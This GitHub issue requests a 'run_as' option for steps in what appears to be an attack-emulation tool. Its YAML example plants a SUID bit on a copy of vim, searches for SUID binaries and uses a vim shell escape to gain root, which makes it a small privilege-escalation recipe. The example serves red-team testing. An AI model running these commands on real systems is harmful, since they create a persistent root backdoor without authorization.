Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

💡 [REQUEST] - Run as user #488

Open
l50 opened this issue Feb 28, 2024 · 0 comments
Open

💡 [REQUEST] - Run as user #488

l50 opened this issue Feb 28, 2024 · 0 comments
Labels
question Clarification and/or additional information required to move forward

Comments

@l50
Copy link
Contributor

l50 commented Feb 28, 2024

Implementation PR

No response

Reference Issues

No response

Summary

Add run_as to facilitate changing the role of a user as part of a step.

Basic Example

...
steps:
  - name: setup-privileges
    edit_file: /usr/bin/vim.old
    backup_file: /usr/bin/vim
    edits:
      - description: "Set SUID bit on /usr/bin/vim.old"
        command: "chmod u+s /usr/bin/vim.old"

  - name: hunt-for-suid-bins
    execute:
      description: "Find SUID binaries"
      command: "find / -perm -4000"
      run_as: "{{ .Args.low_priv_user }}"

  - name: escalate-privilege
    execute:
      description: "Use SUID binary to escalate privileges"
      command: "/usr/bin/vim.old -c ':silent !sudo whoami' -c 'qa'"
      run_as: "{{ .Args.low_priv_user }}"
    check_output:
      - description: "Check if privilege escalation was successful"
        regex: "root"

Drawbacks

No technical drawbacks.

Unresolved questions

No response

@l50 l50 added the question Clarification and/or additional information required to move forward label Feb 28, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
question Clarification and/or additional information required to move forward
Projects
None yet
Development

No branches or pull requests

1 participant